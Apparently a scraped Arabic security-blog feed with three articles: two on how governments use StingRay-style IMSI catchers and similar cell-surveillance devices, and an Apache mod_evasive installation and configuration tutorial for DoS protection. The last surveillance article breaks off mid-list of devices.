تعمل هذه التقنية من خلال إلتقاط و تحديد هوية مستخدم الهاتف المحمول الدولية IMSI – International Mobile Subscriber Identity هذه التقنية تم تصميمها من قبل شركة Harris Corporation التي تقوم ببيع نظام مراقبة الاتصالات الخليوية بسعر 400,000 $ وهذا السعر يختلف بحسب الإضافات التي يتم طلبها من قبل الوكالة التي تريد الحصول على هذا النظام, إلتقاط هوية مستخدم الهاتف المحمول الدولية IMSI Catch هي تقنية مراقبة تستخدم من قبل وكالات الاستخبارات العسكرية من أجل التنصت على المكالمات الهاتفية حيث تقوم باعتراض حركة البيانات الخاصة بأجهزة الموبايل وتتبع حركة مستخدمي هذه الأجهزة.

تتم هذه العملية باستخدام IMSI catcher بحيث يعمل كبرج اتصالات مزيف ويكون في المنتصف بين جهاز المستخدم الهدف وبين أبراج مزود الخدمة الحقيقي وهذا ما يعرف باسم هجوم رجل في المنتصف MITM – Man In The Middle مثل هذا النوع من الهجمات لا يمكن اكتشافه من قبل المستخدمين العاديين بدون استخدام برامج حماية خاصة بأجهزة الاتصالات الخليوية.

استخدام IMSI Catcher اثار جدل واسع في الولايات المتحدة الأميركية بسبب اعتماد هذه التقنية من قبل العديد من الوكالات المعنية بتطبيق القانون داخل البلاد، ونظراً لشهرة اسم التقنية StingRay فقد تم استخدام هذا الاسم بشكل غير صحيح للإشارة إلى العديد من أنظمة مراقبة أجهزة الموبايل.

تقنية StingRay تسمح لوكالات المخابرات باعتراض المكالمات وحركة البيانات عبر الانترنت بالإضافة إلى إرسال رسائل نصية مزيفة وحقن برمجيات خبيثة في أجهزة الموبايل وتحديد مكان المستخدم.

الأشخاص المدافعون عن الخصوصية أبدو قلقاً من الانتهاكات المحتملة لهذه التقنيات الجديدة وتخوفوا من استخدام هذه التقنيات من قبل مجرمي الانترنت والهاكرز الأجانب لاستهداف وتتبع المواطنين الاميركيين.

تقنية StingRay والتقنيات المشابه لها تعرف باسم Cell Site Simulators محاكاة لموقع الخلية (المنطقة التي يتم تغطيتها من قبل برج اتصالات معين) وهذه التقنيات قادرة على كشف معلومات عن هوية المستخدم ومكان تواجده. وكالات الاستخبارات والمنظمات المعنية بتطبيق القانون يمكن أن تقوم بتتبع شخص معين وتقوم بتحليل مكالماته الصادرة والواردة لرسم مخطط لشبكته الاجتماعية.

المشكلة الرئيسية في اعتماد تقنية StingRay لمراقبة أجهزة الموبايل هي أن هذه التقنية سوف تستهدف كل الأجهزة القريبة وهذا يسمح للمهاجم بالحصول على معلومات عن المئات من الأجهزة في نفس الوقت.

111014_1538_StingRayTec1

كيف تعمل تقنية StingRay:


معدات StingRay يمكن أن تعمل في نمطين مختلفين active mode و passive mode  عادةً ما يتم تثبيت نظام StingRay داخل سيارة للسماح بعملية انتقاله من مكان لآخر ليقوم بخداع أجهزة الموبايل المحيطة لتتصل به ومن ثم تمرير البيانات التي تمر عبره إلى أجهزة المخابرات والمنظمات المعنية بتطبيق القانون.

جهاز StingRay الذي يعمل في هذا النمط يكون قادر على استقبال وتحليل الإشارات التي تنتقل بين أجهزة الموبايل وأبراج الاتصالات.

المصطلح “passive” سلبي أو غير نشط يستخدم للإشارة إلى أن الجهاز لا يتصل بشكل مباشر مع أجهزة الموبايل ولا يلعب دور برج الاتصالات الحقيقي.

نشاطات محطة الإرسال والاستقبال base station تسمح باستخراج معلومات عن أرقام المستخدمين وقوة الإشارة ومناطق التغطية وجهاز StingRay يعمل كجهاز موبايل ويقوم بجمع الإشارات التي يتم إرسالها من قبل المحطات والأبراج المحيطة به.

 Active mode:


معدات StingRay التي تعمل في النمط active mode سوف تجبر كل جهاز موبايل موجود ضمن منطقة محيطة محددة ليقوم بقطع الاتصال مع برج مزود الخدمة الشرعي وبدأ اتصال جديد مع نظام StingRay وسوف تقوم بإرسال إشارات لاسلكية أقوى من الإشارات المرسلة من قبل أبراج ومعدات مزود الخدمة الموجودة في نفس المنطقة وهذا يجبر أجهزة الموبايل الموجودة في الوسط المحيط على الاتصال بها (أجهزة الموبايل تتصل بشكل تلقائي مع الأبراج ذات الإشارة الأقوى)

العمليات الأساسية التي تقوم بها أجهزة StingRay:

  • استخراج البيانات من أجهزة الموبايل باستخدام الإشارات الراديوية.

  • تنفيذ هجمات رجل في المنتصف MITM attack

  • كتابة معلومات في أجهزة الموبايل.

  • منع الخدمة عن المستخدم ومنعه من اجراء المكالمات و الخدمات الأخرى.

  • إجبار الجهاز على زيادة قوة إرسال الإشارة.

  • تتبع وتحديد مكان المستخدم.

  • جمع معلومات عن الاتصالات الجارية حالياً وتحديد أرقام المتحدثين.

111014_1538_StingRayTec2

حق استخدام مثل هذه التقنيات :


الولايات المتحده الامريكية تعتقد بأن تقنيات StingRay هي حق للأجهزه الاستخباراتيه لمراقبة وحفظ السلام في البلاد كذلك مراقبة أجهزة الموبايل هي ممارسة شائعة لوكالات الاستخبارات بشكل عام في بلدان مثل الولايات المتحده الامريكية . العديد من المنظمات المعنية بتطبيق القانون والشرطة المحلية تقوم بجمع المعلومات عن الألاف من أجهزة الموبايل باستخدام مثل هذه التقنيات المتطورة.

التقارير الخاصة لأكثر من 125 من وكالات الشرطة في 33 ولاية أميركية تشير إلى أن حوالي 25% من هذه الوكالات قد قامت بشراء معدات StingRay والعديد من وكالات الشرطة ترفض عرض سجلاتها للعامة بحجة أن المجرمين أو الإرهابيين يمكن أن يستفيدوا من هذه المعلومات لتجنب وتجاوز طرق المراقبة المطبقة حالياً.

كذلك تلك المعلومات التي سربها Edward Snowden  لا تقتصر فقط على الولايات المتحدة، الوثائق الأخيرة الصادرة عن مدينة أوكلاند في نيوزيلندا تكشف أن الإدارة المحلية للشرطة قامت بترقية معدات مراقبة أجهزة الموبايل الخاصة بها.

التطوير لمعدات StingRay يعرف باسم Hailstorm وهذا التطوير يسمح بمراقبة وتتبع أجهزة الموبايل الحديثة من الجيل الجديد، تكلفة عملية الترقية كانت حوالي 460,000 $

تقنيات تتبع ومراقبة أجهزة الموبايل :


Triggerfish:

111014_1538_StingRayTec3

عبارة عن معدات تنصت تسمح للوكالات المعنية بتنفيذ القانون أن تقوم باعتراض المحادثات عبر أجهزة الموبايل بشكل مباشر وتسمح بمراقبة  حوالي 60,000 جهاز موبايل في نفس الوقت ضمن المنطقة المستهدفة، ووفقاً لتقارير صحفية فإن كلفة هذا النظام تتراوح بين 90,000 $ الى 102,000 $

Kingfish:

111014_1538_StingRayTec4

جهاز مراقبة لعمليات للإرسال والاستقبال يستخدم من قبل الوكالات المعنية بتطبيق القانون ووكالات الاستخبارات لتتبع ومراقبة أجهزة الموبايل والحصول على معلومات عن الأجهزة الموجودة ضمن المنطقة المستهدفة.

هذا الجهاز يمكن أن يخبئ ضمن حقيبة ليقوم بجمع معلومات خاصة بالهاتف والاتصالات الخاصه بالهاتف ايضا  ويبلغ سعره حوالي 25,000 $ .

Amberjack:

عبارة عن جهاز ملحق بأنظمة المراقبة مثل StingRay, Gossamer and Kingfish عبارة عن هوائي antenna ذاتي التوجيه يستخدم لتتبع أجهزة الموبايل ويبلغ سعره حوالي 35,015$

Harpoon:

111014_1538_StingRayTec5

عبارة عن مضخم للإشارة amplifier يمكن أن يعمل مع أجهزة StingRay و Kingfish لتتبع أهداف موجودة على بعد مسافات كبيرة وسعره يتراوح بين 16,000 $ و  19,000 $ .

Hailstorm:

جهاز مراقبة يمكن الحصول عليه كوحدة مستقلة أو كترقية لأجهزة StingRay and Kingfish وهو قادر على تتبع أجهزة الموبايل الحديثة (الجيل الجديد من أجهزة الموبايل) وثائق التعريف الخاصة بهذا الجهاز الصادرة عن شركة Harris تنصح باستخدام هذا الجهاز مع برنامج خاصة بشركة Pen-Link والذي يسمح لجهاز hailstorm بالاتصال بشكل مباشر مع الشركة المزودة للخدمة عبر الانترنت وهذا يساعد على التنسيق في عملية مراقبة الأشخاص المستهدفين.

سعر هذا الجهاز حوالي 169,602 $ بشكل مستقل ويمكن أن يكون أرخص في حال تم طلبه كترقية لنظام سابق.

Gossamer:

111014_1538_StingRayTec6

عبارة عن وحدة محمولة تستخدم للوصول إلى البيانات في أجهزة الموبايل الموجودة في المنطقة المستهدفة وتؤمن وظائف مماثلة لأجهزة StingRay مع ميزة أنها قابلة للحمل بواسطة اليد وقابلة للتنقل بسهولة وتسمح بتنفيذ هجوم منع الخدمة jamming على الهدف ومنعه من اجراء أو استقبال المكالمات وسعره حوالي 19,696 $ .

استخدام StingRay:


اجهزة StingRay مستخدمه من قبل قسم الشرطة MPD – Metropolitan Police Department في العاصمة الأميركية واشنطن منذ عام 2003 وكان الهدف من استخدامها هو الحاجة لزيادة القدرات في عمليات التحقيق في القضايا الإرهابية المحتملة ولكن هذا الجهاز لم يُستغل بشكل جيد لمدة خمس سنوات من تاريخ شراءه بسب عدم توفر ميزانية مالية لدفع تكاليف التدريب لطرق استخدام هذا الجهاز.

وفي عام 2008 قرر قسم الشرطة MPD اعتماد هذا الجهاز في التحقيقات وتلقى ميزانية مالية تسمح له بترقيه هذا الجهاز ووضعه في الخدمة.

وفي وثيقة مؤرخة بشهر ديسمبر من عام 2008 أوضح قائد الشرطة في العاصمة الأميركية في اجتماع مع عدد من كبار المسؤولين في وزارة الداخلية الأميركية وقادة شعبة التحقيقات الخاصة بالمخدرات توجه القيادة لضرورة استخدام StingRay.

وأوضح قائد الشرطة أن استخدم هذا الجهاز والتنقل به سوف يسمح لها بإلتقاط وجمع المعلومات حول مواقع وتحركات أعضاء الكونغرس وأعضاء مجلس الوزراء وكبار الشخصيات الأجنبية وجميع الأشخاص الموجودين في نفس المنطقة, بالإضافة إلى أن هذا الجهاز سوف يسمح للشرطة بتتبع أجهزة الموبايل الخاصة بالمجرمين والأشخاص المشتبه بتعاملهم مع الإرهابيين وتحديد أماكن هؤلاء الأشخاص وهذا سوف يسمح باعتقال عدد أكبر من المجرمين الهاربين وتجار المخدرات.

العديد من المنظمات أدانت استخدام هذا النوع من الأجهزة لأنها تمثل تهديداً للخصوصية، فعند استخدام مثل هذه الأجهزة للقيام بتتبع جهاز الموبايل لشخص مشتبه به فسوف يتم جمع معلومات عن الأجهزة الخاصة بالأشخاص الموجودين في نفس المنطقة.

في 2008 Metropolitan Police Department قرر ان يستخدم هذه التقنيات واعاده تطوير وترقية الاجهزه واستلام ميزانيات مالية للقيام بذلك , كذلك صحيفة الاخبار VICE News قامت برصد عدد كبير من المشتريات لهذه التقنيات والاجهزة المقدمة من شركة Harris Corporation.

الخلاصة:


تقنية StingRay تزيد المخاوف المتعلقة بالخصوصية بسبب الطريقة العشوائية للتنصت على أجهزة الموبايل الموجودة في المنطقة المستهدفة وهذا مخالف لكل القوانين في كل دول العالم حيث لا يحق للحكومة الوصول إلى المعلومات الخاصة بأي مواطن دون الحصول على تصريح من المحكمة يسمح بذلك.

العديد من الحكومات تستخدم مثل هذه التقنيات بشكل سري وفي بعض الحالات يتم إصدار تصاريح من المحكمة من أجل تغطية أنشطة معينة ولكن استخدام التكنلوجيا في مثل هذه الطريقة يعتبر تهديد خطير لخصوصية المواطن.

ترجمة بتصرف :  StingRay Technology: How Government Tracks Cellular Devices لصاحبها Pierluigi Paganini.

مقال : الحماية من هجمات DDoS باستخدام mod_evasive

$
0
0

Mod_evasive عبارة عن Apache module كان يعرف سابقاً باسم mod_dosevasive وهو يساعد في الحماية ضد هجمات حجب الخدمة DoS – Denial of Service  وهجمات منع الخدمة الموزعة DDoS – Distributed Denial of Service  وهجمات القوة الغاشمة brute force التي تستهدف سيرفر الويب Apache web server حيث يقوم بإرسال تقارير عن هذه الحالات عبر البريد الالكتروني وتسجيلها في سجلات النظام  syslog.

هذه الأداة تعمل من خلال خلق جدول داخلي متغير لعناوين IP and URL وتقوم بمنع أي عنوان IP منفرد من القيام بالأمور التالية:

  • طلب نفس الصفحة أكثر من مرة خلال ثانية واحدة

  • عمل أكثر من 50 طلب متزامن لنفس العملية خلال ثانية واحدة

  • عمل أي طلبات أثناء فترة الحظر أو المنع المؤقتة

في حال تم القيام بإحدى الأمور السابقة فسوف يقوم السيرفر بالإجابة من خلال إرسال كود الحالة 403 وسيتم تسجيل عنوان IP الخاص بهذا الطلب في log file.

ويمكن لمدير السيرفر تفعيل خاصية التنبيه من خلال إرسال رسائل عن الحالات المشبوهة إلى عنوان بريد إلكتروني يتم تحديده مسبقاً، كما يمكن لمدير السيرفر ضبط تعليمات خاصة لتقوم بمنع أو حظر عنوان IP الخاص بالمهاجم.

سنتعرف على عملية تنصيب وإعداد واستخدام mod-evasive على السيرفر :

المتطلبات:


قبل البدء بهذه العملية يجب أن تملك الأمور التالية:

  • نظام تشغيل CentOS 7 64-bit (يمكن أن يكون CentOS 6)

  • مستخدم بصلاحيات عادية non-root user قادر على استخدام صلاحيات sudo

  • سيرفر أباتشي Apache web server

 

الخطوة 1: تنصيب mod_evasive :

سنقوم بتنصيب الحزم packages المطلوبة لعمل mod_evasive ومن ثم نقوم بتنصيب mod_evasive,  في البداية يجب أن نقوم بتنصيب EPEL yum repository

EPEL – Extra Packages for Enterprise Linux (مجموعة مختصة بتوزيعه فيدورا Fedora تقوم بإنشاء وإدارة مجموعة من حزم التطبيقات المفتوحة المصدر الخاصة بنظام التشغيل Linux) .

عملية تنصيب هذا المستودع EPEL repository على السيرفر تتم باستخدام التعليمة التالية:

 CentOS 7

sudo rpm -ivh http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm

CentOS 6

sudo rpm -ivh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

للتأكد من تفعيل هذا المستودع نستخدم التعليمة التالية:

sudo yum repolist

إذا تمت عملية إضافة هذا المستودع بنجاح يجب أن نرى اسمه في نتيجة تنفيذ التعليمة السابقة بشكل مشابه للنص التالي:

epel/x86_64                                           Extra Packages for Enterprise Linux 7 – x86_64

للقيام بحماية الحزم الأساسية الخاصة بهذا المستودع باستخدام الإضافة plugin portecbase يمكننا استخدام التعليمة التالية:

sudo yum install yum-plugin-protectbase.noarch –y

الغاية من استخدام الإضافة protectbase plugin هو حماية مستودعات محددة من عملية التحديث لمستودعات أخرى , حزم التطبيقات الموجودة في المستودعات المحمية لن يتم تحديثها أو الكتابة فوقها أو استبدالها بحزم أخرى من مستودعات غير محمية حتى ولو كانت ذات إصدار إحدث.

الان يمكننا تنصيب mod_evasive module باستخدام التعليمة التالية:

sudo yum install mod_evasive –y

الخطوة 2: التحقق من عملية التنصيب :

بعد الانتهاء من عملية التنصيب لنقم بالتحقق من أن ملف الإعدادات تم تنصيبه والتحقق من أن الوحدات اللازمة قد تم تحميلها, خلال عملية التنصيب سيتم إضافة ملف الإعدادات ضمن المسار التالي:

etc/httpd/conf.d/mod_evasive.conf/

للتأكد من ذلك يمكننا استخدام التعليمة:

sudo ls -al /etc/httpd/conf.d/mod_evasive.conf

النتيجة ستكون بشكل مشابه للتالي:

rw-r–r– 1 root root 3473 Jul 21 01:41 /etc/httpd/conf.d/mod_evasive.conf-

بشكل افتراضي يتم إضافة سطر يحوي على العبارة LoadModule لبداية ملف الإعدادات mod_evasive.conf , قم بفتح هذا الملف وقم بإضافة هذه العبارة إن لم تكن موجوه، هذه العبارة تجعل سيرفر الأباتشي يقوم بتحميل واستخدام mod_evasive module.

في CentOS 7 يجب أن يحوي ملف الإعدادات:

etc/httpd/conf.d/mod_evasive.conf/

على السطر التالي:

LoadModule evasive20_module modules/mod_evasive24.so

وفي CentOS 6 يجب أن يحوي ملف الإعدادات:

etc/httpd/conf.d/mod_evasive.conf/

على السطر التالي:

LoadModule evasive20_module modules/mod_evasive20.so

التعليمة التالية تقوم بعرض الوحدات الخاصة بسيرفر الأباتشي وتبحث عن mod_evasive module

sudo httpd -M | grep evasive

نتيجة تنفيذ التعليمة السابقة يجب أن تحوي على السطر التالي:

evasive20_module (shared)

الخطوة 3 إعداد Mod_evasive:

بعد الانتهاء من عملية التنصيب والتحقق يمكننا إعداد mod_evasive بسهولة من خلال ملف الإعدادات mod_evasive.conf

سوف نناقش بعض بارامترات الإعدادات الرئيسية:

DOSEmailNotify: إذا تم ضبط هذه القيمة سوف يتم إرسال رسائل عبر البريد الالكتروني لعنوان يتم تحديده مسبقاً للإعلام عن عمليات حظر أو منع لعنوان IP الذي قام بمخالفة القواعد المطبقة (محاولة هجوم)

نص رسالة البريد الالكتروني يكون كالتالي:

mod_evasive HTTP Blacklisted 111.111.111.111

إذا كنا نريد إعداد mod_evasive ليقوم بإرسال التنبيهات إلى عنوان البريد الالكتروني example@example.com يجب أن نقوم بتعديل ملف الإعدادات من خلال فتح هذا الملف باستخدام محرر النصوص nano (يمكن أن يكون أي محرر نصوص أخر)

sudo nano /etc/httpd/conf.d/mod_evasive.conf

ومن ثم إزالة الإشارة # قبل DOSEmailNotify وكتابة عنوان البريد الالكتروني

DOSEmailNotify exaple@example.com

تنبه : mod_avasive يستخدم /bin/mail في عملية الإرسال، يجب أن يكون mail server منصب مسبقاً ويعمل بشكل جيد.

DOSWhitlist: استخدام هذا الخيار مع عناوين IP موثوقة يسمح لهذه العنوان بالقيام بالأمور الممنوعة، الهدف من هذه العملية هو السماح لبرامج الحماية و السكريبتات الخاصة والأدوات الأخرى التي يستخدمها مدير السيرفر بالعمل دون أن يتم منعها في حال قامت بطلبات متكررة من السيرفر.

إضافة العنوان IP: 111.111.111.111 إلى whitelist تتم من خلال تعديل محتوى ملف الإعدادات:

etc/httpd/conf.d/mod_evasive.conf/

ليحوي على السطر التالي:

DOSWhitelist 111.111.111.111

يمكن أن نقوم بالسماح لمجال عناوين محدد من خلال كتابة أول ثلاث أجزاء من عنوان IP إذا لزم الأمر , للسماح لأكثر من عنوان IP ضمن مجالات مختلفة يمكن أن نستخدم أسطر متعددة كما في المثال التالي:

DOSWhitelist 111.111.111.111

DOSWhitelist 222.222.222.222

البرامترين DOSPagCount و DOSSiteCount ينصح بتغير قيمهم لتجنب حالات الحجب الغير ضرورية للمستخدمين العاديين.

DOSPageCount: يحدد عدد الطلبات من نفس عنوان IP لنفس الصفحة خلال فترة زمنية محددة (عادةً ما تكون ثانية واحدة) وفي حال تجاوز عدد المرات المسموح به فسوف يتم إضافة عنوان IP إلى قائمة الحظر.

القيمة الافتراضية هي 2 ويمكن تغيرها إلى 20 من خلال تعديل محتوى الملف:

etc/httpd/conf.d/mod_evasive.conf/

ليحوي على السطر التالي:

DOSPageCount 20

DOSSiteCount: يحدد العدد الكلي للطلبات لصفحات موقع محدد من قبل نفس عنوان IP وذلك خلال فترة زمنية محدد (القيمة الافتراضية هي ثانية واحدة) , لتغير هذه القيمة لتصبح 100 من خلال تعديل محتوى الملف:

etc/httpd/conf.d/mod_evasive.conf/

ليحوى على السطر التالي:

DOSSiteCount 100

يوجد بعض البارامترات الأخرى التي يمكن تعديلها للحصول على أداء أفضل.

DOSBlockingPeriod: يحدد الفترة الزمنية بالثانية لمدة حظر عنوان IP لمستخدم معين في حال قام بمخالفة القواعد المطبقة وتمت إضافته إلى قائمة الحظر، وخلال هذه الفترة (فترة الحظر) كل الطلبات المشبوه القادمة من هذا المستخدم سوف يتم الإجابة عليها برسالة الخطأ 403 (forbidden). القيمة الافتراضية لمدة الحظر هي 10 ثانية.

لزيادة هذه المدة لتصبح 300 ثانية يمكننا تعديل ملف الإعدادات:

etc/httpd/conf.d/mod_evasive.conf/

ليحوي على السطر التالي:

DOSBlockingPeriod 300

:DOSLogDir يحدد مسار مجلد مؤقت ليتم استخدامه من قبل mod_evasive بشكل افتراضي يتم استخدام tem وهذا يمكن أن يؤدي إلى بعض المشاكل في الحماية, إذا كان النظام مفتوح للمستخدمين (المستخدم يملك shell بصلاحية المستخدم العادي) فيجب أن نقوم بإنشاء مجلد والسماح فقط بالكتابة فيه من قبل المستخدم الذي يستخدم سيرفر الأباتشي (عادةً يكون باسم apache) ومن ثم ضبط هذا البارامتر لمسار هذا المجلد.

مثال: من أجل ضبط mod-evasive لتقوم باستخدام المجلد:

var/log/mod_evasive/

نقوم أولاً بإنشاء هذا المجلد باستخدام التعليمة التالية:

sudo mkdir /var/log/mod_evasive

ومن ثم تحديد ملكية هذا المجلد ليكون تابع للمستخدم apache

sudo chown -R apache:apache /var/log/mod_evasive

ومن ثم تعديل ملف الإعدادات:

etc/httpd/conf.d/mod_evasive.conf/

ليحوي على السطر التالي:

DOSLogDir “/var/log/mod_evasive”

DOSSystemCommand:  يمكن تحديد قيمة لهذا البارامتر تكون على شكل تعليمة معينة ليتم تنفيذها في كل مرة يتم فيها إضافة عنوان IP إلى قائمة الحظر. استخدام هذا البارامتر يمكن أن يتم بشكل مشترك مع الجدار الناري (في حال وجوده) أو يمكن أن يعمل لتنفيذ shell script

الخطوة 4 تفعيلmod_evasivemodul :

بعد إجراء التعديلات السابقة في ملف الإعدادات يجب أن نقوم بإعادة تشغيل سيرفر الاباتشي ليتم تفعيل وتطبيق التعديلات السابقة.

إعادة تشغيل الاباتشي تتم باستخدام التعليمة:

 CentOS 7

sudo systemctl restart httpd.service

 CentOS 6

sudo service httpd restart

الخطوة 5 اختبار mod_evasive:

لنقم بعملية اختبار بسيطة للتأكد من أن mod_evasive يعمل بشكل جيد, سوف نستخدم سكريبت مكتوبة بلغة perl تم كتابتها من قبل مطوري mod_evasive , لتشغيل هذه السكريبت يجب أن نقوم بتنصيب perl على السيرفر ويتم ذلك باستخدام التعليمة التالية:

sudo yum install -y perl

السكريبت موجودة في المسار التالي:

usr/share/doc/mod_evasive-1.10.1/test.pl/

بشكل افتراضي فإن هذه السكريبت تقوم بطلب نفس الصفحة من سيرفر الاباتشي 100 مرة من أجل اختبار فعالية mod_evasive سنقوم بتعديل هذه القيمة لتصبح 200 طلب ويتم ذلك من خلال تعديل محتوى السكريبت:

usr/share/doc/mod_evasive-1.10.1/test.pl/

لنقم بفتح هذا الملف باستخدام محرر النصوص nano باستخدام التعليمة التالية:

sudo nano /usr/share/doc/mod_evasive-1.10.1/test.pl

ومن ثم تعديل القيمة 100 في حلقة for(0..100) لتصبح for(0..200) ومن ثم حفظ هذا الملف والخروج منه.

لتنفيذ هذا السكريبت نستخدم التعليمة التالية:

sudo perl /usr/share/doc/mod_evasive-1.10.1/test.pl

نتيجة التنفيذ يجب أن تكون كالتالي:

HTTP/1.1 403 Forbidden

HTTP/1.1 403 Forbidden

HTTP/1.1 403 Forbidden

HTTP/1.1 403 Forbidden

HTTP/1.1 403 Forbidden

كود الحالة 403 في الإجابة يشير إلى أن عملية الوصول ممنوعة من قبل سيرفر الويب حيث قام Mod_evasive  بمنع هذه الطلبات وقام أيضاً بتسجيل عنوان IP في syslog وقام بإضافته إلى قائمة الحظر.

يمكننا عرض السجل باستخدام التعليمة التالية:

sudo tailf /var/log/messages

يجب أن يحوي على رسالة كالتالي:

Jul 29 00:11:18 servername mod_evasive[18290]: Blacklisting address 127.0.0.1: possible DoS attack

إذا قمت بإعداد mod_avasive ليقوم بإعلامك بمنع عنوان IP من خلال رسالة عبر البريد الالكتروني عن فسوف تصلك رسالة تحوي على التالي:

mod_evasive HTTP Blacklisted 127.0.0.1

الخلاصة:


Mod_avasive هو أداة رائعة لحماية السيرفر من هجمات حجب الخدمة وحجب الخدمة الموزعة ولكنه فعال فقط في الحالات التي يكون فيها معالج السيرفر وعرض الحزمة الكلي قادرين على التعامل مع هذه الطلبات والإجابة عليها ولهذا السبب من المهم أن تقوم بربط mod_avasive ليعمل مع جدار ناري firewall من أجل الحصول على أعلى مستوى حماية.

بدون بنية تحتية جيدة وجدار ناري مُعد بشكل جيد وموجود في المكان المناسب فإن هجمات حجب الخدمة الموزعة DDoS يمكن أن تخرج السيرفر أو الموقع عن الخدمة وإذا كانت هذه الهجمات قوية وتتم بشكل مستمر يجب أن تفكر باستخدام أجهزة حماية خاصة للتخفيف من هذه الهجمات.

مقال : كيف تقوم الحكومات بالتجسس على اجهزة الموبايل (الجزء الثاني)

$
0
0

في مقالة سابقة تحدثنا عن تقنية StingRay وكيف تستخدمها الحكومات والجهات الأمنية وغيرها لمراقبة أجهزة الهاتف الخلويه , كذلك اوضحنا بأن الاجهزة التي تستخدم هذه التقنيات للتجسس تستخدم هجمات الرجل في المنتصف (MITM) بحيث تخدع الاجهزة الخلوية بأنها ابراج الاتصال (cell tower) ليتم الاتصال بها  .الاجهزة الحديثه الحاليه  والتي تستخدم تقنيات Sting Ray اصبحت اكثر قوه في المراقبة حيث تم اضافه بعض الامور مثل اعتراض المكالمات والانترنت , تحديد مواقع الاجهزة , حقن spyware في الاجهزة . عدد متزايد من الجهات اصبحت هي ايضا مهتمة بتقنية  Stingray , ليس الجهات الامنية والعسكرية فقط  تستخدم هذه الاجهزة للتجسس على اهدافهم.

في هذه المقالة سوف نستعرض المنتجات المتوفرة في السوق (على الاقل الاكثر شهرة) :


قامت وكالة الانباء THE INTERCEPT بتسريب مستند سري عن اجهزة التنصت التي تستهدف الأجهزة الخلوية المستخدمة من قبل الاستخبارات الامريكية, وهذا ليس كل شئ. المستند يعتبر مصدر ثمين من المعلومات التي اعطيت الى الاعلام على الانترنت من  شخص يعمل في منظمة الاستخبارات (المصدر: هنا) . وقام الشخص الذي سرب هذه المعلومات بالإعراب عن قلقة ازاء التطور العسكري الحاصل حاليا ايضا قام بنشر مقاله كُتب فيها ما يلي :

“بعض الاجهزة يمكنها ان تحتفظ بقائمة اهداف تحتوي مايقارب 10000 رقم معرف للهواتف الخلوية. معظم الاجهزة تستخدم لتحديد مكان الاشخاص, لكن المستند المسرب اشار الى ان بعض الاجهزة لديها الكثير من القدرات المتقدمة, مثل التنصت على المكالمات والتجسس على رسائل ال sms. يوجد نظامين مصممين للاستخدام على الهواتف المخترقة, توصف بقدرتها على استخراج ملفات الوسائط, دفتر العناوين, والملاحظات, بالاضافة الى ميزة استرجاع الرسائل المحذوفة”.

يحتوي المستند على 53 جهاز تجسس خلوي, بالاضافة الي string I/II surveillance boxes و Boeing “dirt boxes” , هنالك بعض الاجهزة صغيرة الحجم اذ يمكن ان تُخبئ داخل حقيبة الظهر مثل جهاز Blackfin الذي يسمح للعملاء السريين بالتجسس على الاتصالات القريبة. واحتوى المستند ايضا على العديد من اجهزة التجسس الخلوية والتي تعتبر اقل شيوعا من جهاز stingray والتي يمكن ان تستخدم من قبل الجهات الأمنية ووكالات الاستخبارات في مختلف الحالات  وتشمل ايضا استخدامها على طائرات بدون طيار,  احد اجهزة التجسس بيع من قبل ال NSA , بينما الاخر صنع من قبل  CIA.

المحاكي المطابق لبرج الارسال stingray , هو علامة تجارية لـ harris corp في عام 2003 واستخدم من قبل الجيش, وكالات الاستخبارات و الجهات الأمنيه الفدراليه وينص التقرير بأنه شركة اخرة تدعى digital receiver technology,تم شراؤها من قبل Boeing طورت جهاز dirt boxes اكثر قوة كمحاكي ابراج الارسال والذي امتلك افضلية اكثر لـ NSA,CIA,US militarr لقوة هذه الاداة لاصطياد الارهابين المحتملين, الجهاز يمكنه تعقب اكثر من 200 جهاز خلوي على نطاق اوسع بالمقارنة ب Stingray.

The intercept تكلمت عن قضية Marc Raimondi وهو موظف وُظف من قبل شركة Harris التي هي الان ناطق باسم قسم العدالة “Department of justice” ويدعي بأن استخدام الوكالة لجهاز ال Stingray قانوني.

Jennifer lynch وهو احد كبار المحامين في مؤسسة الحدود الالكترونية ” Electronic Frontier Foundation” اعرب مرارا عن خيبته من استخدام مثل هذه الاجهزة في السياق المحلي.

The Blackfin-I/II:


جهاز ال Blackfin تم انتاجه من قبل Harris Corporation, نفس الشركة التي صممت StingRay. لديه ابعاد محددة ليسمح للعملاء بارتدائه على الجسم, ميزته الرئيسية هي التجسس (صوت و نص) وامكانية استخدامه لاغلاق الاجهزة القريبة بالاوضاع الانتقائية “selective mdoe” .يكلف 75000$ .

image1

DRT 1101B , aka dirt boxes:


جهاز المراقبة هذا يسمح للعملاء بمراقبة عدد يصل الى 10000 جهاز خلوي ,ويعتبر امر مثالي خصوصا في المناسبات العامة والاحتجاجات السياسية.لديه القدرة على استهداف موجات analog & digital الاسلكية, اعتراض البيانات الصوتية.

image2يمكن تثبيت هذه الاجهزة على طائرة او على طائرة بدون طيار المحلقة على الاهداف البشرية , المعدات تعود لمجموعة كاملة من الاجهزة تعرف باسم Dirt boxes والتي تشمل DRT 1183, DRT 1201C, DRT 1301C, DRT1101B.

جهازي DRT 1301C & DRT 4411B يملكان مميزات مشابهة للادوات الاخرى لكن هذين الجهازين يصنفون ب الابعاد المحدودة “limited overall dimensions” . يكلفان 40,000$ و 100,000$ .

image3 Typhon:


جهاز ال Typhon هو جهاز مراقبة صمم من قبل خبراء وحدة TAO في وكالة الامن القومي “National Security Agency”. يمكنها التجسس على البيانات من اجهزة ال GSM .تعمل فقط في الولايات المتحدة, لكنها لاتعمل على اجهزة Sprint,Verizon & U.S. cellular phone في الولايات المتحدة. يملك الجهاز مدى يقارب 30 كيلومتر في المناطق الريفية وحوالي 5 كيلومتر في المناطق المدنية ويكلف 175,800$.

image4

Cyberhawk:


جهاز Cyberhawk قادر على سحب البيانات من 79 جهاز جوال, العملية تشمل رسائل SMS ,دفتر العناوين, الارقام التي تم الاتصال بها و اي ملف مخزن اخر بالجوال. الجهاز يعتبر اداة مميزة لاغراض التجسس والتحقيق, يمكن استخدامه لتتبع شبكات الافراد وتحليل المعلومات على اجهزتهم.

image6

Stargrazer III:


جهاز Stargrazer يعتبر جهاز عسكري استخدم لتعطيل او تحليل نظام القيادة والسيطرة “command and control (C2)” على اجهزة الثريا الفضائية. الجهاز قادر على استخراج IMSI,IMEI وmeta-data اخرى وتشويش على الجهاز عندما يصبح في وضع الهجوم.

image8

Radiance:


جهاز Radiance هو نظام تحديد مواقع لديه القدرة على مسك ,التواصل وتحديد مكان اجهزة CDMA-2000 و IS-95.

image9

Windjammer:


